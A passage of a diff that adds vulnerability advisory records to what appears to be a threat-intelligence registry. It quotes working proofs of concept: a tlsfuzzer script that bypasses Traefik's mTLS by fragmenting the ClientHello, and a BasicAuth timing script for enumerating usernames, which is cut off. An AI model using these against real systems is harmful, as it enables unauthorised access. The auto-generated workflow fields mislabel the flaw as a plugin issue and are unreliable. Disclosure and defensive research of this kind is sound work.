+      "\u4fdd\u7559\u540c\u4e00\u7ec4\u53d7\u63a7\u8f93\u5165\uff0c\u5728\u4fee\u590d\u524d\u540e\u5206\u522b\u6267\u884c\u5e76\u6bd4\u5bf9\u54cd\u5e94\u3001\u65e5\u5fd7\u4e0e\u6d4f\u89c8\u5668\u8bc1\u636e\u3002",
+      "\u786e\u8ba4\u4fee\u590d\u540e\u4ec5\u4fdd\u7559\u9884\u671f\u4e1a\u52a1\u884c\u4e3a\uff0c\u4e0d\u518d\u89e6\u53d1\u8d8a\u6743\u3001\u56de\u663e\u3001\u5f02\u5e38\u6e32\u67d3\u6216\u9519\u8bef\u8bf7\u6c42\u3002",
+      "\u8865\u5145 `unknown` \u65cf\u81ea\u52a8\u5316\u56de\u5f52\uff0c\u907f\u514d\u540c\u7c7b\u8def\u5f84\u5728\u63d2\u4ef6\u3001\u4e3b\u9898\u6216\u4ee3\u7406\u94fe\u4e2d\u56de\u5f52\u3002"
+    ],
+    "lab_safety_notes": [
+      "\u53ea\u4f7f\u7528\u56de\u73af\u5730\u5740\u3001\u54e8\u5175\u76ee\u6807\u3001\u65e0\u5bb3\u6837\u672c\u6216\u53ef\u56de\u6eda\u6d4b\u8bd5\u6570\u636e\u3002",
+      "\u7981\u6b62\u9020\u6210\u6301\u4e45\u7834\u574f\u3001\u8d8a\u6743\u4e0b\u8f7d\u771f\u5b9e\u6570\u636e\u6216\u4e0d\u53ef\u56de\u6eda side effect\u3002",
+      "\u5982\u9700\u6d4f\u89c8\u5668\u8bc1\u636e\uff0c\u4fdd\u7559 baseline / proof \u4e24\u4efd\u5feb\u7167\u4ee5\u53ca console / network \u8bb0\u5f55\u3002"
+    ],
+    "review_state": "ready"
+  },
+  "verification_status": "triage-manual",
+  "verification_mode": "synthetic",
+  "last_verified_at": null,
+  "last_run_id": null,
+  "evidence_bundle": null,
+  "historical_status": null,
+  "latest_status": null,
+  "browser_evidence": {
+    "required": false,
+    "present": false,
+    "refs": []
+  },
+  "repro_profile_id": "proxy-boundary-generic",
+  "artifact_mode": "synthetic",
+  "blocked_reason": null,
+  "metadata": {
+    "source_names": [
+      "OSV Spring Security"
+    ],
+    "source_kinds": [
+      "osv-batch"
+    ],
+    "candidate_count": 1,
+    "entity_ref_count": 2,
+    "advisory_scope": "package",
+    "version_confidence": "high",
+    "workflow_id": "spring-security--CVE-2026-22732--workflow"
+  }
+}
diff --git a/08-threat-intel/registry/advisories/traefik--CVE-2026-32305.json b/08-threat-intel/registry/advisories/traefik--CVE-2026-32305.json
new file mode 100644
index 00000000..4a6b6611
--- /dev/null
+++ b/08-threat-intel/registry/advisories/traefik--CVE-2026-32305.json
@@ -0,0 +1,192 @@
+{
+  "canonical_id": "traefik--CVE-2026-32305",
+  "system_id": "traefik",
+  "display_name": "Traefik",
+  "category": "servers",
+  "advisory_mode": "server",
+  "title": "Traefik has a Potential mTLS Bypass via Fragmented TLS ClientHello Causing Pre-SNI Sniff Fallback to Default Non-mTLS TLS Config",
+  "summary": "## Summary\n\nThere is a potential vulnerability in Traefik's TLS SNI pre-sniffing logic related to fragmented ClientHello packets.\n\nWhen a TLS ClientHello is fragmented across multiple records, Traefik's SNI extraction may fail with an EOF and return an empty SNI. The TCP router then falls back to the default TLS configuration, which does not require client certificates by default. This allows an attacker to bypass route-level mTLS enforcement and access services that should require mutual TLS authentication.\n\n## Patches\n\n- https://github.com/traefik/traefik/releases/tag/v2.11.41\n- https://github.com/traefik/traefik/releases/tag/v3.6.11\n- https://github.com/traefik/traefik/releases/tag/v3.7.0-ea.2\n\n## For more information\n\nIf you have any questions or comments about this advisory, please [open an issue](https://github.com/traefik/traefik/issues).\n\n
\nOriginal Description\n\n### Summary\nI found a behavior in Traefik's latest version where fragmented ClientHello packets can cause pre-sniff SNI extraction to not find the sni (EOF during sniff), which makes the TCP router fall back to default routing TLS config.\n\nIf the default TLS config does not require client certificates (which is NoClientCert by default), the handshake succeeds without client auth, and the request is later routed to the HTTP Host which should be the protected with client certificate authentication (RequireAndVerifyClientCert tls config).\n\n### Details\nThe vulnerability is caused by a mismatch between where Traefik decides the TLS policy per host and where Go TLS can finally parse the full ClientHello.\n\n1. In router.go, ServeTCP function calls clientHelloInfo.\n2. clientHelloInfo peeks only one TLS record length (recLen) and then peeks exactly 5 + recLen bytes.\nIt runs a temporary TLS parse on those bytes to extract the SNI.\nIf ClientHello is fragmented, pre-sniff may return empty SNI (With fragmentation, first record can be incomplete for full ClientHello parsing).\n4. clientHelloInfo still returns isTLS=true and empty SNI (it thinks there is no sni so it applies the default tls config (Which is by default NoClientCert which is permissive)\n5. Real Go TLS handshake succeeds later without requiring the client cert.\n6. Request is routed to the host that should have been protected.\n\nConditions required for impact:\n- Route-level TLS options enforce mTLS for a host.\n- Default TLS config is weaker (noClientCert, which is the default default).\n- Pre-sniff fails to extract SNI (due to fragmented ClientHello).\n\nA workaround for this is to set the default tls config to RequireAndVerifyClientCert (but then you need to explicitly define for each permissive host the NoClientCert TLS config).\n\nA suggestion to fix is to parse the complete ClientHello before tls config decision (handle multi-record fragmentation).\n\n### PoC\n```python\n# prerequisites (ubuntu/debian, in rhel/fedora you need to run only the install command (dnf) but with \"docker\" instead of docker.io and podman will emulate it)\nsudo apt update\nsudo apt install -y docker.io openssl git python3 python3-venv\nsudo usermod -aG docker \"$USER\"\n# in debian/ubuntu run newgrp docker to apply the new group to the user\n\nmkdir -p /tmp/traefik-frag-poc/{certs,config/dynamic}\ncd /tmp/traefik-frag-poc\n\n# CA\nopenssl genrsa -out certs/ca.key 4096\nopenssl req -x509 -new -nodes -key certs/ca.key -sha256 -days 3650 \\\n -subj \"/CN=PoC-CA\" -out certs/ca.crt\n\n# Server cert (whoami.home.arpa)\ncat > certs/server.cnf <<'EOF_SERVER_CNF'\n[req]\ndistinguished_name = dn\nreq_extensions = v3_req\nprompt = no\n\n[dn]\nCN = whoami.home.arpa\n\n[v3_req]\nsubjectAltName = @alt_names\n\n[alt_names]\nDNS.1 = whoami.home.arpa\nEOF_SERVER_CNF\n\nopenssl genrsa -out certs/traefik.key 2048\nopenssl req -new -key certs/traefik.key -out certs/traefik.csr -config certs/server.cnf\nopenssl x509 -req -in certs/traefik.csr -CA certs/ca.crt -CAkey certs/ca.key -CAcreateserial \\\n -out certs/traefik.crt -days 365 -sha256 -extensions v3_req -extfile certs/server.cnf\n\n# Client cert (valid client)\nopenssl genrsa -out certs/client.key 2048\nopenssl req -new -key certs/client.key -subj \"/CN=client1\" -out certs/client.csr\nopenssl x509 -req -in certs/client.csr -CA certs/ca.crt -CAkey certs/ca.key -CAcreateserial \\\n -out certs/client.crt -days 365 -sha256\n\ncat > config/traefik.yml <<'EOF_TRAEFIK_CFG'\nentryPoints:\n websecure:\n address: \":8443\"\n\nproviders:\n file:\n directory: /etc/traefik/dynamic\n watch: true\n\nlog:\n level: DEBUG\nEOF_TRAEFIK_CFG\n\ncat > config/dynamic/dynamic.yml <<'EOF_DYNAMIC_CFG'\nhttp:\n routers:\n whoami:\n rule: \"Host(`whoami.home.arpa`)\"\n entryPoints:\n - websecure\n service: whoami\n tls:\n options: mtls\n\n services:\n whoami:\n loadBalancer:\n servers:\n - url: \"http://whoami:80\"\n\ntls:\n certificates:\n - certFile: /certs/traefik.crt\n keyFile: /certs/traefik.key\n\n options:\n mtls:\n clientAuth:\n caFiles:\n - /certs/ca.crt\n clientAuthType: RequireAndVerifyClientCert\nEOF_DYNAMIC_CFG\n\ndocker network create traefik-poc\n\n\n# run a whoami microservice for the bypass demonstration\ndocker run -d \\\n --name whoami \\\n --network traefik-poc \\\n --restart unless-stopped \\\n traefik/whoami:v1.11.0\n\ndocker run -d \\\n --name traefik \\\n --network traefik-poc \\\n -p 8443:8443 \\\n --restart unless-stopped \\\n -v \"$PWD/config/traefik.yml:/etc/traefik/traefik.yml:ro,Z\" \\\n -v \"$PWD/config/dynamic:/etc/traefik/dynamic:ro,Z\" \\\n -v \"$PWD/certs:/certs:ro,Z\" \\\n traefik:3.6.10 \\\n --configFile=/etc/traefik/traefik.yml\n\n# watch traefik logs to ensure everything was deployed correctly\ndocker logs traefik\n\n# tlsfuzzer setup + frag client script\n\nmkdir -p /tmp/testtlsfuzz\ncd /tmp/testtlsfuzz\ngit clone https://github.com/tlsfuzzer/tlsfuzzer.git\ncd tlsfuzzer\n\npython3 -m venv .venv\nsource .venv/bin/activate\npip install -r requirements.txt\n\ncat > frag_clienthello.py <<'EOF_FRAG_SCRIPT'\nimport argparse\nimport sys\nimport os\n\nfrom tlsfuzzer.runner import Runner\nfrom tlsfuzzer.messages import (\n Connect,\n SetMaxRecordSize,\n ClientHelloGenerator,\n CertificateGenerator,\n CertificateVerifyGenerator,\n ClientKeyExchangeGenerator,\n ChangeCipherSpecGenerator,\n FinishedGenerator,\n ApplicationDataGenerator,\n AlertGenerator,\n)\nfrom tlsfuzzer.expect import (\n ExpectServerHello,\n ExpectCertificate,\n ExpectServerKeyExchange,\n ExpectCertificateRequest,\n ExpectServerHelloDone,\n ExpectChangeCipherSpec,\n ExpectFinished,\n ExpectApplicationData,\n ExpectAlert,\n ExpectClose,\n)\nfrom tlsfuzzer.helpers import SIG_ALL\nfrom tlslite.constants import (\n CipherSuite,\n ExtensionType,\n AlertLevel,\n AlertDescription,\n GroupName,\n)\nfrom tlslite.extensions import (\n SNIExtension,\n TLSExtension,\n SupportedGroupsExtension,\n SignatureAlgorithmsExtension,\n SignatureAlgorithmsCertExtension,\n)\nfrom tlslite.utils.keyfactory import parsePEMKey\nfrom tlslite.x509 import X509\nfrom tlslite.x509certchain import X509CertChain\n\n\nclass PrettyExpectApplicationData(ExpectApplicationData):\n def process(self, state, msg):\n super().process(state, msg)\n text = msg.write().decode(\"utf-8\", errors=\"replace\")\n head, _, body = text.partition(\"\\r\\n\\r\\n\")\n print(\"\\n=== HTTP RESPONSE ===\")\n print(head)\n print()\n print(body)\n print(\"=== END HTTP RESPONSE ===\\n\")\n\n\ndef load_client_cert_and_key(cert_path, key_path):\n cert = None\n key = None\n\n if cert_path:\n text_cert = open(cert_path, \"rb\").read()\n if sys.version_info[0] >= 3:\n text_cert = str(text_cert, \"utf-8\")\n cert = X509()\n cert.parse(text_cert)\n\n if key_path:\n text_key = open(key_path, \"rb\").read()\n if sys.version_info[0] >= 3:\n text_key = str(text_key, \"utf-8\")\n key = parsePEMKey(text_key, private=True)\n\n return cert, key\n\n\ndef main():\n p = argparse.ArgumentParser()\n p.add_argument(\"--connect-host\", default=\"127.0.0.1\")\n p.add_argument(\"--port\", type=int, default=8443)\n p.add_argument(\"--sni\", default=\"whoami.home.arpa\")\n p.add_argument(\"--record-size\", type=int, default=512)\n p.add_argument(\"--padding-len\", type=int, default=1200)\n p.add_argument(\"--expect-cert-request\", action=\"store_true\")\n p.add_argument(\"--client-cert-pem\", default=\"\")\n p.add_argument(\"--client-key-pem\", default=\"\")\n args = p.parse_args()\n\n cert, key = load_client_cert_and_key(args.client_cert_pem, args.client_key_pem)\n\n print(f\"[DBG] cert_arg={args.client_cert_pem!r} key_arg={args.client_key_pem!r}\")\n for p in [args.client_cert_pem, args.client_key_pem]:\n if p:\n print(f\"[DBG] file={p} exists={os.path.exists(p)} size={os.path.getsize(p) if os.path.exists(p) else -1}\")\n\n print(f\"[DBG] cert_loaded={cert is not None} key_loaded={key is not None}\")\n print(f\"[DBG] bool(cert)={bool(cert) if cert is not None else None} bool(key)={bool(key) if key is not None else None}\")\n\n\n if (args.client_cert_pem or args.client_key_pem) and not (cert and key):\n raise ValueError(\"Provide both --client-cert-pem and --client-key-pem\")\n\n conv = Connect(args.connect_host, args.port)\n node = conv\n node = node.add_child(SetMaxRecordSize(args.record_size))\n\n ext = {\n ExtensionType.server_name: SNIExtension().create(bytearray(args.sni, \"ascii\")),\n ExtensionType.supported_groups: SupportedGroupsExtension().create(\n [GroupName.secp256r1, GroupName.ffdhe2048]\n ),\n ExtensionType.signature_algorithms: SignatureAlgorithmsExtension().create(SIG_ALL),\n ExtensionType.signature_algorithms_cert: SignatureAlgorithmsCertExtension().create(SIG_ALL),\n 21: TLSExtension().create(21, bytearray(args.padding_len)),\n }\n\n ciphers = [\n CipherSuite.TLS_ECDHE_RSA_WITH_AES_128_GCM_SHA256,\n CipherSuite.TLS_ECDHE_RSA_WITH_AES_128_CBC_SHA,\n CipherSuite.TLS_DHE_RSA_WITH_AES_128_CBC_SHA,\n CipherSuite.TLS_EMPTY_RENEGOTIATION_INFO_SCSV,\n ]\n\n node = node.add_child(ClientHelloGenerator(ciphers, extensions=ext))\n node = node.add_child(ExpectServerHello())\n node = node.add_child(ExpectCertificate())\n node = node.add_child(ExpectServerKeyExchange())\n\n if args.expect_cert_request:\n node = node.add_child(ExpectCertificateRequest())\n\n node = node.add_child(ExpectServerHelloDone())\n\n if args.expect_cert_request and cert and key:\n node = node.add_child(CertificateGenerator(X509CertChain([cert])))\n node = node.add_child(ClientKeyExchangeGenerator())\n node = node.add_child(CertificateVerifyGenerator(key))\n node = node.add_child(ChangeCipherSpecGenerator())\n node = node.add_child(FinishedGenerator())\n node = node.add_child(ExpectChangeCipherSpec())\n node = node.add_child(ExpectFinished())\n req = bytearray(\n f\"GET / HTTP/1.1\\r\\nHost: {args.sni}\\r\\nConnection: close\\r\\n\\r\\n\".encode(\"ascii\")\n )\n node = node.add_child(ApplicationDataGenerator(req))\n node = node.add_child(PrettyExpectApplicationData(output=sys.stdout))\n node = node.add_child(AlertGenerator(AlertLevel.warning, AlertDescription.close_notify))\n node = node.add_child(ExpectAlert())\n node.next_sibling = ExpectClose()\n\n elif args.expect_cert_request and not (cert and key):\n node = node.add_child(CertificateGenerator())\n node = node.add_child(ClientKeyExchangeGenerator())\n node = node.add_child(ChangeCipherSpecGenerator())\n node = node.add_child(FinishedGenerator())\n node = node.add_child(ExpectChangeCipherSpec())\n node = node.add_child(ExpectFinished())\n\n else:\n node = node.add_child(ClientKeyExchangeGenerator())\n node = node.add_child(ChangeCipherSpecGenerator())\n node = node.add_child(FinishedGenerator())\n node = node.add_child(ExpectChangeCipherSpec())\n node = node.add_child(ExpectFinished())\n req = bytearray(\n f\"GET / HTTP/1.1\\r\\nHost: {args.sni}\\r\\nConnection: close\\r\\n\\r\\n\".encode(\"ascii\")\n )\n node = node.add_child(ApplicationDataGenerator(req))\n node = node.add_child(PrettyExpectApplicationData(output=sys.stdout))\n node = node.add_child(AlertGenerator(AlertLevel.warning, AlertDescription.close_notify))\n node = node.add_child(ExpectAlert())\n node.next_sibling = ExpectClose()\n\n try:\n Runner(conv).run()\n print(\"[OK] conversation completed\")\n except AssertionError as e:\n print(f\"[TLS RAW ERROR] {e}\")\n marker = \"Unexpected message from peer: \"\n s = str(e)\n if marker in s:\n print(f\"[TLS PEER MESSAGE] {s.split(marker, 1)[1].strip()}\")\n raise\n\n\nif __name__ == \"__main__\":\n main()\nEOF_FRAG_SCRIPT\n\nchmod +x frag_clienthello.py\ncd /tmp/testtlsfuzz/tlsfuzzer\nsource .venv/bin/activate\n\n# case 1: non fragmented, no client cert (strict mTLS path, should fail. traefik logs should inform that client didn't provide a certificate)\npython frag_clienthello.py \\\n --connect-host 127.0.0.1 \\\n --port 8443 \\\n --sni whoami.home.arpa \\\n --record-size 16384 \\\n --expect-cert-request\n\n# case 1b with openssl instead of my script\nprintf 'GET / HTTP/1.1\\r\\nHost: whoami.home.arpa\\r\\nConnection: close\\r\\n\\r\\n' | \\\nopenssl s_client \\\n -connect 127.0.0.1:8443 \\\n -servername whoami.home.arpa \\\n -tls1_2 \\\n -CAfile /tmp/traefik-frag-poc/certs/ca.crt \\\n -state -msg -tlsextdebug -verify_return_error\n\n\n# case 2: non fragmented, with valid client cert (should succeed) \npython frag_clienthello.py \\\n --connect-host 127.0.0.1 \\\n --port 8443 \\\n --sni whoami.home.arpa \\\n --record-size 16384 \\\n --expect-cert-request \\\n --client-cert-pem /tmp/traefik-frag-poc/certs/client.crt \\\n --client-key-pem /tmp/traefik-frag-poc/certs/client.key\n\n# case 2b with openssl instead of my script\nprintf 'GET / HTTP/1.1\\r\\nHost: whoami.home.arpa\\r\\nConnection: close\\r\\n\\r\\n' | \\\nopenssl s_client -connect 127.0.0.1:8443 -servername whoami.home.arpa -tls1_2 \\\n -cert /tmp/traefik-frag-poc/certs/client.crt \\\n -key /tmp/traefik-frag-poc/certs/client.key \\\n -CAfile /tmp/traefik-frag-poc/certs/ca.crt -quiet\n\n# case 3 fragmented ClientHello, no client cert (bypass behavior test)\npython frag_clienthello.py \\\n --connect-host 127.0.0.1 \\\n --port 8443 \\\n --sni whoami.home.arpa \\\n --record-size 500\n# in the record-size you can play with it as long as the client hello sni sniff function returns an EOF\n```\n\n### Impact\nAn attacker can bypass route-level mTLS enforcement by fragmenting ClientHello so Traefik pre-sniff fails (EOF) and falls back to default permissive TLS config.\n\n
\n\n--", + "published_at": "2026-03-20T15:43:01Z", + "updated_at": "2026-03-20T15:46:41.715568Z", + "severity": "medium", + "cvss_score": 4.0, + "exploit_status": "unknown", + "source_confidence": "official", + "official_source_url": "https://github.com/traefik/traefik/security/advisories/GHSA-wvvq-wgcr-9q48", + "secondary_source_urls": [ + "https://nvd.nist.gov/vuln/detail/CVE-2026-32305", + "https://github.com/traefik/traefik", + "https://github.com/traefik/traefik/releases/tag/v2.11.41", + "https://github.com/traefik/traefik/releases/tag/v3.6.11", + "https://github.com/traefik/traefik/releases/tag/v3.7.0-ea.2" + ], + "aliases": [ + "CVE-2026-32305", + "GHSA-wvvq-wgcr-9q48" + ], + "cve_ids": [ + "CVE-2026-32305" + ], + "ghsa_ids": [ + "GHSA-wvvq-wgcr-9q48" + ], + "osv_ids": [ + "GHSA-wvvq-wgcr-9q48" + ], + "affected_versions": [ + "introduced=3.7.0-ea.1, fixed<3.7.0-ea.2", + "introduced=0, fixed<3.6.11", + "introduced=0, fixed<2.11.41", + "introduced=0, last_affected=1.7.34" + ], + "fixed_versions": [ + "3.7.0-ea.2", + "3.6.11", + "2.11.41" + ], + "package_name": "github.com/traefik/traefik/v3", + "render_markdown": false, + "case_path": null, + "secure_code_topics": [ + "proxy-trust-boundary", + "request-smuggling-boundary", + "plugin-extension-trust-policy", + "dependency-upgrade-policy" + ], + "status": "generated", + "triage_reasons": [], + "entity_refs": [ + { + "entity_id": "traefik", + "entity_type": "system", + "relation": "root-system", + "root_system_id": "traefik", + "official": true + }, + { + "entity_id": "traefik--extension--github-com-traefik-traefik-v3", + "entity_type": "extension", + "relation": "affected-component", + "root_system_id": "traefik", + "official": false + } + ], + "affected_components": [ + { + "name": "traefik / traefik / v3", + "entity_id": "traefik--extension--github-com-traefik-traefik-v3", + "scope": "extension", + "package_name": "github.com/traefik/traefik/v3", + "official": false + } + ], + "affected_version_ranges": [ + "introduced=3.7.0-ea.1, fixed<3.7.0-ea.2", + "introduced=0, fixed<3.6.11", + "introduced=0, fixed<2.11.41", + "introduced=0, last_affected=1.7.34" + ], + "fixed_version_ranges": [ + "3.7.0-ea.2", + "3.6.11", + "2.11.41" + ], + "introduced_version": "introduced=0, last_affected=1.7.34", + "patched_version": "3.7.0-ea.2", + "version_evidence_sources": [ + "https://github.com/traefik/traefik/security/advisories/GHSA-wvvq-wgcr-9q48", + "https://nvd.nist.gov/vuln/detail/CVE-2026-32305", + "https://github.com/traefik/traefik", + "https://github.com/traefik/traefik/releases/tag/v2.11.41", + "https://github.com/traefik/traefik/releases/tag/v3.6.11", + "https://github.com/traefik/traefik/releases/tag/v3.7.0-ea.2" + ], + "advisory_scope": "extension", + "version_confidence": "high", + "version_gap_reason": "", + "version_resolution_needed": false, + "workflow": { + "workflow_id": "traefik--CVE-2026-32305--workflow", + "vuln_family": "plugin-extension", + "entry_surface": "extension-management-surface", + "preconditions": [ + "\u4ec5\u5728 lab-local\u3001lab-public \u6216\u660e\u786e\u6388\u6743\u76ee\u6807\u4e2d\u6267\u884c\u3002", + "\u786e\u8ba4\u76ee\u6807\u547d\u4e2d\u7248\u672c\u65ad\u8a00: introduced=3.7.0-ea.1, fixed<3.7.0-ea.2, introduced=0, fixed<3.6.11, introduced=0, fixed<2.11.41", + "\u82e5\u5bf9\u8c61\u5c5e\u4e8e `extension`\uff0c\u5148\u786e\u8ba4\u6269\u5c55/\u4ed3\u5e93/\u5305\u5df2\u542f\u7528\u5e76\u5904\u4e8e\u53d7\u5f71\u54cd\u7248\u672c\u3002" + ], + "required_role": "plugin-manager-or-admin", + "affected_version_assertion": [ + "introduced=3.7.0-ea.1, fixed<3.7.0-ea.2", + "introduced=0, fixed<3.6.11", + "introduced=0, fixed<2.11.41", + "introduced=0, last_affected=1.7.34" + ], + "trigger_vector": "\u5bf9 `plugin-extension` \u5bb6\u65cf\u5165\u53e3\u6295\u9012\u6700\u5c0f\u5316\u3001\u53ef\u5ba1\u8ba1\u3001\u53ef\u56de\u6eda\u7684\u53d7\u63a7\u8f93\u5165\uff0c\u6bd4\u8f83\u4fee\u590d\u524d\u540e\u5dee\u5f02\u3002", + "request_or_ui_path": [ + "/plugins", + "/extensions", + "/themes" + ], + "input_shape": "\u5728\u6269\u5c55\u7ba1\u7406\u6216\u6269\u5c55\u529f\u80fd\u5165\u53e3\u4e2d\u63d0\u4ea4\u53d7\u63a7\u914d\u7f6e/\u5185\u5bb9\u3002", + "expected_unsafe_behavior": "\u6269\u5c55\u5b89\u88c5\u3001\u914d\u7f6e\u6216\u8fd0\u884c\u7a81\u7834\u4e86\u4fe1\u4efb\u8fb9\u754c\u3002", + "server_evidence_points": [ + "\u5e94\u7528\u65e5\u5fd7\u4e2d\u7684\u547d\u4e2d\u8def\u5f84\u3001\u9274\u6743\u51b3\u7b56\u548c\u5f02\u5e38\u6808", + "\u53cd\u5411\u4ee3\u7406\u6216\u8fb9\u754c\u5c42\u65e5\u5fd7\u4e2d\u7684\u8bf7\u6c42\u5934\u3001\u6765\u6e90 IP \u4e0e\u8def\u7531\u51b3\u7b56", + "\u63d2\u4ef6/\u6269\u5c55\u7ba1\u7406\u65e5\u5fd7\u3001\u5b89\u88c5\u65e5\u5fd7\u4e0e\u7248\u672c\u6e05\u5355" + ], + "browser_evidence_points": [ + "\u57fa\u7ebf\u622a\u56fe\u4e0e\u653b\u51fb\u540e\u622a\u56fe\u7684 DOM/\u89c6\u89c9\u5dee\u5f02", + "console\u3001network \u4e0e response metadata \u4e2d\u7684\u5f02\u5e38\u4fe1\u53f7" + ], + "db_or_fs_evidence_points": [ + "\u6570\u636e\u5e93\u4e2d\u65b0\u589e/\u8d8a\u6743\u8bfb\u53d6\u7684\u6d4b\u8bd5\u6570\u636e", + "\u6587\u4ef6\u7cfb\u7edf\u4e2d\u65b0\u589e\u4e0a\u4f20\u6837\u672c\u3001\u7f13\u5b58\u6761\u76ee\u6216\u8d8a\u6743\u8bfb\u53d6\u75d5\u8ff9", + "\u63d2\u4ef6\u76ee\u5f55\u3001\u4e3b\u9898\u76ee\u5f55\u6216\u6269\u5c55\u914d\u7f6e\u8868\u4e2d\u7684\u6d4b\u8bd5\u6837\u672c" + ], + "detection_signals": [ + "WAF / reverse proxy \u5f02\u5e38\u65e5\u5fd7\u3001\u8bbf\u95ee\u65e5\u5fd7\u548c\u544a\u8b66", + "\u5e94\u7528\u5ba1\u8ba1\u65e5\u5fd7\u4e2d\u7684\u6743\u9650\u9519\u8bef\u3001\u91cd\u5b9a\u5411\u5f02\u5e38\u3001\u6a21\u677f\u6e32\u67d3\u6216\u4e0a\u4f20\u843d\u76d8\u4e8b\u4ef6" + ], + "mitigation_summary": "\u4f18\u5148\u5347\u7ea7\u5230\u4fee\u590d\u7248\u672c\uff0c\u5e76\u540c\u65f6\u6536\u7d27\u8f93\u5165\u6821\u9a8c\u3001\u670d\u52a1\u7aef\u9274\u6743\u3001\u4ee3\u7406\u4fe1\u4efb\u8fb9\u754c\u3001\u6269\u5c55\u5b89\u88c5\u4fe1\u4efb\u548c\u5ba1\u8ba1\u65e5\u5fd7\u3002", + "patch_validation_steps": [ + "\u786e\u8ba4\u76ee\u6807\u7248\u672c\u4ece `introduced=3.7.0-ea.1, fixed<3.7.0-ea.2, introduced=0, fixed<3.6.11, introduced=0, fixed<2.11.41` \u5347\u7ea7\u6216\u56de\u79fb\u5230 `3.7.0-ea.2`\u3002", + "\u4fdd\u7559\u540c\u4e00\u7ec4\u53d7\u63a7\u8f93\u5165\uff0c\u5728\u4fee\u590d\u524d\u540e\u5206\u522b\u6267\u884c\u5e76\u6bd4\u5bf9\u54cd\u5e94\u3001\u65e5\u5fd7\u4e0e\u6d4f\u89c8\u5668\u8bc1\u636e\u3002", + "\u786e\u8ba4\u4fee\u590d\u540e\u4ec5\u4fdd\u7559\u9884\u671f\u4e1a\u52a1\u884c\u4e3a\uff0c\u4e0d\u518d\u89e6\u53d1\u8d8a\u6743\u3001\u56de\u663e\u3001\u5f02\u5e38\u6e32\u67d3\u6216\u9519\u8bef\u8bf7\u6c42\u3002", + "\u8865\u5145 `plugin-extension` \u65cf\u81ea\u52a8\u5316\u56de\u5f52\uff0c\u907f\u514d\u540c\u7c7b\u8def\u5f84\u5728\u63d2\u4ef6\u3001\u4e3b\u9898\u6216\u4ee3\u7406\u94fe\u4e2d\u56de\u5f52\u3002" + ], + "lab_safety_notes": [ + "\u53ea\u4f7f\u7528\u56de\u73af\u5730\u5740\u3001\u54e8\u5175\u76ee\u6807\u3001\u65e0\u5bb3\u6837\u672c\u6216\u53ef\u56de\u6eda\u6d4b\u8bd5\u6570\u636e\u3002", + "\u7981\u6b62\u9020\u6210\u6301\u4e45\u7834\u574f\u3001\u8d8a\u6743\u4e0b\u8f7d\u771f\u5b9e\u6570\u636e\u6216\u4e0d\u53ef\u56de\u6eda side effect\u3002", + "\u5982\u9700\u6d4f\u89c8\u5668\u8bc1\u636e\uff0c\u4fdd\u7559 baseline / proof \u4e24\u4efd\u5feb\u7167\u4ee5\u53ca console / network \u8bb0\u5f55\u3002" + ], + "review_state": "ready" + }, + "verification_status": "triage-manual", + "verification_mode": "synthetic", + "last_verified_at": null, + "last_run_id": null, + "evidence_bundle": null, + "historical_status": null, + "latest_status": null, + "browser_evidence": { + "required": false, + "present": false, + "refs": [] + }, + "repro_profile_id": "proxy-boundary-generic", + "artifact_mode": "synthetic", + "blocked_reason": null, + "metadata": { + "source_names": [ + "OSV Traefik" + ], + "source_kinds": [ + "osv-batch" + ], + "candidate_count": 1, + "entity_ref_count": 2, + "advisory_scope": "extension", + "version_confidence": "high", + "workflow_id": "traefik--CVE-2026-32305--workflow" + } +} diff --git a/08-threat-intel/registry/advisories/traefik--CVE-2026-32595.json b/08-threat-intel/registry/advisories/traefik--CVE-2026-32595.json new file mode 100644 index 00000000..1dee55d5 --- /dev/null +++ b/08-threat-intel/registry/advisories/traefik--CVE-2026-32595.json @@ -0,0 +1,189 @@ +{ + "canonical_id": "traefik--CVE-2026-32595", + "system_id": "traefik", + "display_name": "Traefik", + "category": "servers", + "advisory_mode": "server", + "title": "Traefik Affected by BasicAuth Middleware Timing Attack Allows Username Enumeration", + "summary": "## Summary\n\nThere is a potential vulnerability in Traefik's BasicAuth middleware that allows username enumeration via a timing attack.\n\nWhen a submitted username exists, the middleware performs a bcrypt password comparison taking ~166ms. When the username does not exist, the response returns immediately in ~0.6ms. This ~298x timing difference is observable over the network and allows an unauthenticated attacker to reliably distinguish valid from invalid usernames.\n\n## Patches\n\n- https://github.com/traefik/traefik/releases/tag/v2.11.41\n- https://github.com/traefik/traefik/releases/tag/v3.6.11\n- https://github.com/traefik/traefik/releases/tag/v3.7.0-ea.2\n\n## For more information\n\nIf you have any questions or comments about this advisory, please [open an issue](https://github.com/traefik/traefik/issues).\n\n
\nOriginal Description\n\n### Summary\nA timing attack vulnerability exists in Traefik's BasicAuth middleware that allows unauthenticated attackers to enumerate valid usernames. When a username exists, bcrypt password verification takes ~166ms; when it doesn't exist, the response returns immediately in ~0.6ms. This ~298x timing difference enables reliable username enumeration.\n\n### Details\nThe vulnerability exists in the BasicAuth middleware implementation. When validating credentials:\n- User exists: The system performs bcrypt password comparison, which intentionally takes ~100-200ms due to bcrypt's design\n- User doesn't exist: The system immediately returns authentication failure in ~0.6ms\n\nThis timing difference is observable over the network and allows attackers to distinguish between valid and invalid usernames.\n\nRoot Cause: The code returns early when the user is not found, without performing a dummy bcrypt comparison to maintain constant-time execution.\n\nExpected behavior: The system should perform a bcrypt comparison regardless of whether the user exists, to maintain consistent response times.\n\n### PoC\nEnvironment:\n- Traefik v3.6.9\n- k3s v1.34.5\n\nConfiguration:\n```yaml\napiVersion: traefik.io/v1alpha1\nkind: Middleware\nmetadata:\n name: basicauth\n namespace: traefik-poc\nspec:\n basicAuth:\n secret: basic-auth-secret\n---\napiVersion: networking.k8s.io/v1\nkind: Ingress\nmetadata:\n name: test-basicauth\n annotations:\n traefik.ingress.kubernetes.io/router.middlewares: traefik-poc-basicauth@kubernetescrd\nspec:\n ingressClassName: traefik\n rules:\n - http:\n paths:\n - path: /protected\n pathType: Prefix\n backend:\n service:\n name: whoami\n port:\n number: 80\n```\n\nPoC Script:\n```python\n#!/usr/bin/env python3\nimport requests\nimport time\nimport statistics\nimport sys\nTARGET = sys.argv[1] if len(sys.argv) > 1 else \"http://localhost:30080/protected\"\nTEST_USERS = [\"admin\", \"root\", \"test\", \"nonexistent12345\"]\nSAMPLES = 20\ndef measure_time(username, password=\"wrongpassword\"):\n times = []\n for _ in range(SAMPLES):\n start = time.perf_counter()\n requests.get(TARGET, auth=(username, password), timeout=5)\n elapsed = time.perf_counter() - start\n times.append(elapsed)\n return statistics.median(times)\nprint(f\"Target: {TARGET}\")\nprint(f\"Samples per user: {SAMPLES}\\n\")\nfor user in TEST_USERS:\n median = 